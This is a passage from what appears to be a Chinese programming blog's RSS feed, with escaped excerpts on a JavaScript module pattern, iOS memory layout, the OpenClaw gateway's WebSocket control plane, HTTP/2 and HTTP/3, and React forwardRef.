&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; myModule.bar&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console.log&lt;span style="color:#f92672"&gt;(&lt;/span&gt;myModule.data&lt;span style="color:#f92672"&gt;)&lt;/span&gt; //undefined 不能访问模块内部数据
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; myModule.data &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;xxxx&amp;#39;&lt;/span&gt; //不是修改的模块内部的data
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; myModule.foo&lt;span style="color:#f92672"&gt;()&lt;/span&gt; //没有改变
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/script&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;// module.js文件
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;function&lt;/span&gt;&lt;span style="color:#f92672"&gt;(&lt;/span&gt;window&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; let data &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;www.baidu.com&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; //操作数据的函数
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; foo&lt;span style="color:#f92672"&gt;()&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; //用于暴露有函数
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console.log&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;foo&lt;span style="color:#f92672"&gt;()&lt;/span&gt; &lt;span style="color:#e6db74"&gt;${&lt;/span&gt;data&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; bar&lt;span style="color:#f92672"&gt;()&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; //用于暴露有函数
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console.log&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;bar&lt;span style="color:#f92672"&gt;()&lt;/span&gt; &lt;span style="color:#e6db74"&gt;${&lt;/span&gt;data&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;`&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; otherFun&lt;span style="color:#f92672"&gt;()&lt;/span&gt; //内部调用
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; otherFun&lt;span style="color:#f92672"&gt;()&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; //内部私有的函数
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; console.log&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;otherFun()&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; //暴露行为
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; window.myModule &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#f92672"&gt;{&lt;/span&gt; foo, bar &lt;span style="color:#f92672"&gt;}&lt;/span&gt; //ES6写法
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;})(&lt;/span&gt;window&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;最后得到的结果：&lt;/p&gt;</description></item><item><title>iOS中的内存管理</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/ios%E4%B8%AD%E7%9A%84%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/ios%E4%B8%AD%E7%9A%84%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86/</guid><description>&lt;p&gt;本文将系统介绍iOS中的内存管理机制，从程序内存布局、引用计数原理、ARC机制到系统级内存管理，帮助你建立完整的iOS内存管理知识体系。&lt;/p&gt;
&lt;h2 id="一程序内存布局"&gt;一、程序内存布局&lt;/h2&gt;
&lt;h3 id="内存区域划分"&gt;内存区域划分&lt;/h3&gt;
&lt;p&gt;在iOS应用程序中，内存按照用途和管理方式分为以下几个区域：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;高地址
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;┌─────────────────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 栈区 (Stack) │ ↓ 向低地址增长
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 局部变量、函数参数、返回地址 │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├─────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ ↕ │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 动态分配区 │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ ↕ │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├─────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 堆区 (Heap) │ ↑ 向高地址增长
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 动态分配的对象实例 │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├─────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 全局/静态区 (BSS) │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 未初始化的全局变量和静态变量 │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├─────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 数据区 (Data) │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 已初始化的全局变量和静态变量 │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├─────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 常量区 (Rodata) │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 字符串常量等 │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;├─────────────────────────────────────┤
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 代码区 (Text) │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;│ 编译后的代码 │
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─────────────────────────────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;低地址
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;各区域的特点：&lt;/p&gt;</description></item><item><title>OpenClaw 源码导读（二）：Gateway 控制平面 — 一条 WebSocket 连上所有人</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ai/openclaw-gateway%E6%8E%A7%E5%88%B6%E5%B9%B3%E9%9D%A2/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ai/openclaw-gateway%E6%8E%A7%E5%88%B6%E5%B9%B3%E9%9D%A2/</guid><description>&lt;blockquote&gt;
&lt;p&gt;在系列第一篇里我们看到，OpenClaw 的核心隐喻是 &lt;strong&gt;&amp;ldquo;Gateway 是控制平面&amp;rdquo;&lt;/strong&gt;。它不存转储消息、不排队、不持久化事件流，而是一个长在 127.0.0.1:18789 上的&lt;strong&gt;状态化 RPC 服务器&lt;/strong&gt;，所有客户端（CLI、macOS.app、iOS/Android Node、WebChat 浏览器、Canvas iframe）都靠一条 WebSocket 接入。&lt;/p&gt;
&lt;p&gt;这一篇拆开控制平面的五个层面：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;进程入口&lt;/strong&gt;：CLI 怎么从 &lt;code&gt;openclaw gateway&lt;/code&gt; 走到 Node 进程常驻&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WebSocket 协议&lt;/strong&gt;：握手帧、RPC 帧、Event 帧、状态快照与版本号&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;鉴权矩阵&lt;/strong&gt;：Token / Password / Device Token / Bootstrap Token / Tailscale Whois / Trusted Proxy&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pairing&lt;/strong&gt;：陌生客户端怎么合法加入（setup code、pairing store、allowFrom）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Session 模型&lt;/strong&gt;：Session Key 组成规则、多 Agent 路由、Session ID 模糊匹配&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;注：下文所有 &lt;code&gt;src/&lt;/code&gt; 路径都指 &lt;a href="https://github.com/openclaw/openclaw"&gt;openclaw/openclaw&lt;/a&gt; 仓库根下。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="一cli-到-gateway-的六段路径"&gt;一、CLI 到 Gateway 的六段路径&lt;/h2&gt;
&lt;p&gt;第一篇概览过 &lt;code&gt;src/entry.ts&lt;/code&gt; 和 &lt;code&gt;src/cli/run-main.ts&lt;/code&gt;，这里按调用序重新画一遍，把每个关键函数在 graph 上标出来：&lt;/p&gt;
&lt;pre class="mermaid"&gt;flowchart TD
A0["openclaw gateway --port 18789"] --&gt; A1
A1["entry.ts&lt;br/&gt;main guard + process.title"] --&gt; A2
A2["normalizeEnv + enableCompileCache()"] --&gt; A3
A3["ensureCliRespawnReady()&lt;br/&gt;按需 spawn 子 Node"] --&gt; A4
A4["parseCliContainerArgs&lt;br/&gt;parseCliProfileArgs"] --&gt; A5
A5["tryHandleRootVersionFastPath&lt;br/&gt;tryHandleRootHelpFastPath"] --&gt;|miss| A6
A6["runMainOrRootHelp → runCli(argv)"] --&gt; B0
B0["run-main.ts&lt;br/&gt;container? container in progress"] --&gt; B1
B1["loadCliDotEnv (~/.openclaw/.env)"] --&gt; B2
B2["assertSupportedRuntime (Node≥22.16)"] --&gt; B3
B3["tryRouteCli（fast-path 子命令路由）"] --&gt;|miss| B4
B4["buildProgram() + commander 注册"] --&gt; B5
B5["installUnhandledRejectionHandler"] --&gt; B6
B6["registerPluginCliCommandsFromValidatedConfig (lazy)"] --&gt; B7
B7["program.parseAsync"] --&gt; C0
C0["gateway 命令匹配 → gatewayCommandAction"] --&gt; C1
C1["lock 文件 + 端口 acquire"] --&gt; C2
C2["HTTP/WS server 启动"] --&gt; C3
C3["channels/plugins/cron/canvas-host 启动"] --&gt; C4["Ready"]
&lt;/pre&gt;
&lt;h3 id="1-为什么要自己-spawn-自己"&gt;1. 为什么要自己 &lt;code&gt;spawn&lt;/code&gt; 自己&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;ensureCliRespawnReady()&lt;/code&gt; 是 &lt;code&gt;src/entry.ts&lt;/code&gt; 里最容易被忽视但非常重要的段落：&lt;/p&gt;</description></item><item><title>http2.0/http3.0</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/network/http2-0-http3-0/</link><pubDate>Mon, 28 Jul 2025 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/network/http2-0-http3-0/</guid><description>&lt;h3 id="前言"&gt;前言&lt;/h3&gt;
&lt;p&gt;HTTP/2 相比于 HTTP/1，可以说是大幅度提高了网页的性能，只需要升级到该协议就可以减少很多之前需要做的性能优化工作，当然兼容问题以及如何优雅降级应该是国内还不普遍使用的原因之一。&lt;/p&gt;
&lt;p&gt;虽然 HTTP/2 提高了网页的性能，但是并不代表它已经是完美的了，HTTP/3 就是为了解决 HTTP/2 所存在的一些问题而被推出来的。&lt;/p&gt;
&lt;h3 id="一http-协议"&gt;一、HTTP 协议&lt;/h3&gt;
&lt;p&gt;HTTP 协议是 HyperText Transfer Protocol（超文本传输协议）的缩写，它是互联网上应用最为广泛的一种网络协议。所有的 WWW 文件都必须遵守这个标准。伴随着计算机网络和浏览器的诞生，HTTP1.0 也随之而来，处于计算机网络中的应用层，HTTP 是建立在 TCP 协议之上，所以&lt;strong&gt;HTTP 协议的瓶颈及其优化技巧都是基于 TCP 协议本身的特性&lt;/strong&gt;，例如 tcp 建立连接的 3 次握手和断开连接的 4 次挥手以及每次建立连接带来的 RTT 延迟时间。&lt;/p&gt;
&lt;h3 id="二http1x-的缺陷"&gt;二、HTTP/1.x 的缺陷&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;连接无法复用&lt;/strong&gt;：连接无法复用会导致每次请求都经历三次握手和慢启动。三次握手在高延迟的场景下影响较明显，慢启动则对大量小文件请求影响较大（没有达到最大窗口请求就被终止）。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;HTTP/1.0 传输数据时，每次都需要重新建立连接，增加延迟。&lt;/li&gt;
&lt;li&gt;HTTP/1.1 虽然加入 keep-alive 可以复用一部分连接，但域名分片等情况下仍然需要建立多个 connection，耗费资源，给服务器带来性能压力。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Head-Of-Line Blocking（HOLB）&lt;/strong&gt;：导致带宽无法被充分利用，以及后续健康请求被阻塞。&lt;a href="https://link.juejin.cn/?target=http%3A%2F%2Fstackoverflow.com%2Fquestions%2F25221954%2Fspdy-head-of-line-blocking"&gt;HOLB&lt;/a&gt;是指一系列包（package）因为第一个包被阻塞；当页面中需要请求很多资源的时候，HOLB（队头阻塞）会导致在达到最大请求数量时，剩余的资源需要等待其他资源请求完成后才能发起请求。&lt;br&gt;&lt;/li&gt;
&lt;li&gt;HTTP 1.0：下个请求必须在前一个请求返回后才能发出，&lt;code&gt;request-response&lt;/code&gt;对按序发生。显然，如果某个请求长时间没有返回，那么接下来的请求就全部阻塞了。&lt;/li&gt;
&lt;li&gt;HTTP 1.1：尝试使用 pipeling 来解决，即浏览器可以一次性发出多个请求（同个域名，同一条 TCP 链接）。但 pipeling 要求返回是按序的，那么前一个请求如果很耗时（比如处理大图片），那么后面的请求即使服务器已经处理完，仍会等待前面的请求处理完才开始按序返回。所以，pipeling 只部分解决了 HOLB。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://link.juejin.cn/?target=https%3A%2F%2Fimage.fundebug.com%2F2019-03-06-1.png"&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/network/http2-0-http3-0/image-01.webp"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;如上图所示，红色圈出来的请求就因域名链接数已超过限制，而被挂起等待了一段时间。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;协议开销大&lt;/strong&gt;： HTTP1.x 在使用时，header 里携带的内容过大，在一定程度上增加了传输的成本，并且每次请求 header 基本不怎么变化，尤其在移动端增加用户流量。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;安全因素&lt;/strong&gt;：HTTP1.x 在传输数据时，所有传输的内容都是明文，客户端和服务器端都无法验证对方的身份，这在一定程度上无法保证数据的安全性&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="三spdy-协议"&gt;三、SPDY 协议&lt;/h3&gt;
&lt;p&gt;因为 HTTP/1.x 的问题，我们会引入雪碧图、将小图内联、使用多个域名等等的方式来提高性能。不过这些优化都绕开了协议，直到 2009 年，谷歌公开了自行研发的 SPDY 协议，主要解决 HTTP/1.1 效率不高的问题。谷歌推出 SPDY，才算是正式改造 HTTP 协议本身。降低延迟，压缩 header 等等，SPDY 的实践证明了这些优化的效果，也最终带来 HTTP/2 的诞生。&lt;/p&gt;</description></item><item><title>forwardRef 该怎么用？</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-016/</link><pubDate>Tue, 17 Dec 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/react/react-016/</guid><description>&lt;h2 id="reactforwardref"&gt;React.forwardRef&lt;/h2&gt;
&lt;p&gt;对于ref转发，官网是这样描述的&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Ref 转发是一项将 &lt;a href="https://react.docschina.org/docs/refs-and-the-dom.html"&gt;ref&lt;/a&gt; 自动地通过组件传递到其一子组件的技巧。对于大多数应用中的组件来说，这通常不是必需的。但其对某些组件，尤其是可重用的组件库是很有用的。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;想详细了解的可以去看官方文档 &lt;a href="https://react.docschina.org/docs/forwarding-refs.html#forwarding-refs-in-higher-order-components"&gt;Refs 转发 – React (docschina.org)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;现在让我们直奔主题吧！&lt;/p&gt;
&lt;p&gt;&lt;code&gt;React.forwardRef(render)&lt;/code&gt;的返回值是&lt;code&gt;react&lt;/code&gt;组件，接收的参数是一个 &lt;code&gt;render&lt;/code&gt;函数，函数签名为&lt;code&gt;render(props, ref)&lt;/code&gt;，第二个参数将其接受的 &lt;a href="https://react.docschina.org/docs/refs-and-the-dom.html"&gt;ref&lt;/a&gt; 属性&lt;strong&gt;转发&lt;/strong&gt;到&lt;code&gt;render&lt;/code&gt;返回的组件中。&lt;/p&gt;
&lt;p&gt;这项技术并不常见，但在以下两种场景中特别有用:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;转发 &lt;code&gt;ref&lt;/code&gt; 到组件内部的&lt;code&gt;DOM&lt;/code&gt; 节点上&lt;/li&gt;
&lt;li&gt;在高阶组件中转发&lt;code&gt;ref&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="转发-ref到组件内部的dom节点"&gt;转发 &lt;code&gt;ref&lt;/code&gt;到组件内部的&lt;code&gt;DOM&lt;/code&gt;节点&lt;/h2&gt;
&lt;p&gt;比如我们想要将一个组件内部的某个元素暴露出去, 就可以这么做&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-jsx" data-lang="jsx"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// App.js
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;React&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;react&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Foo&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;./component/Foo&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;default&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;App&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;extends&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;React&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;Component&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;constructor&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;super&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;props&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;state&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;input&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;React&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;createRef&lt;/span&gt;(); &lt;span style="color:#75715e"&gt;// 1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// ↑5
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;handleClick&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;) =&amp;gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;input&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;current&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 6
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;focus&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;render&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; (
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;button&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;onClick&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;handleClick&lt;/span&gt;}&amp;gt;&lt;span style="color:#a6e22e"&gt;click&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;to&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;get&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;button&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {&lt;span style="color:#75715e"&gt;/*2*/&lt;/span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;Foo&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ref&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;{&lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;}/&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;/&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-jsx" data-lang="jsx"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// Foo.jsx
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;import&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;React&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;from&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;react&amp;#39;&lt;/span&gt;;
